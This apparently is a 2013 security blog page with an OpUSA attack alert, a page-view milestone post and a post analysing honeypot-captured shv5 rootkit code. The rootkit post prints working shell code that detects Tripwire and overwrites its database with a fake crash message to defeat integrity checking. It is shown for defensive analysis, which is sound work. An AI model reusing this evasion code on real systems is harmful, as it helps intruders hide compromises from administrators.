OpUSA to Strike US Government and Banking Infrastructure May 7

Anonymous and several other hacking groups are planning to attack the US Government and Banking Infrastructure on May 7, 2013.

I added a threat briefing on OpUSA, what's being targeted, and by who, to my Threat Watch site.

Currently, the only named targets of this attack are Whitehouse.gov, FBI, and Bank of America.  However, I'm sure other targets will be included.

If you work for a government agency, or in the banking agency, be vigilant, and be on the lookout for highly targeted phishing attacks.

You can read the full briefing at my Threat Watch site.

Bypassing Tripwire and MD5 Hash Checking for Advanced Persistent Threats

Reviewing some of the malware setup scripts I've collected through my honeypot, the following code really caught my attention.  This code is from the shv5 rootkit, which was released in 2010, and is detected by most antivirus scanners.

echo -n "${DCYN}[${WHI}sh${DCYN}]# checking for tripwire... ${RES}"

uname=`uname -n`

twd=/var/lib/tripwire/$uname.twd

if [ -d /etc/tripwire ]; then

echo "${WHI} ALERT: TRIPWIRE FOUND! ${RES}"

if [ -f /var/lib/tripwire/$uname.twd ]; then

chattr -isa $twd

echo -n "${DCYN}[${WHI}sh${DCYN}]# checking for tripwire-database... ${RES}"

echo "${RED} ALERT! tripwire database found ${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# ${WHI} dun worry we got handy-tricks for this :) ${RES}"

echo "-----------------------------------------" > $twd

echo "Tripwire segment-faulted !" >> $twd

echo "-----------------------------------------" >> $twd

echo "" >> $twd

echo "The reasons for this may be: " >> $twd

echo "" >> $twd

echo "corrupted disc-geometry, possible bad disc-sectors" >> $twd

echo "corrupted files while checking for possible change etc." >> $twd

echo ""

echo "pls. rerun tripwire to build the database again!" >> $twd

echo "" >> $twd

else

echo "${WHI} lucky you: Tripwire database not found. ${RES}"

fi

else

echo "${WHI} guess not. ${RES}"

fi

April 2013 Set a New Record for My Blog - Over 14,000 page views!

I'm happy to say that April 2013 set a new record for my blog, with 14,573 unique page views.

I'd just like to say thank you to everyone who takes the time to read my blog!

With this large influx of visitors, I need to start working on more research projects and more content.

Some of the research projects I want to get started on require funding.  So if you would be so kind as to take a look at my Complimentary Industry Resources site, find something you like, and sign up for it, I would greatly appreciate it.  It won't cost you anything, and I get paid for every download or magazine subscription!

Thanks!!!!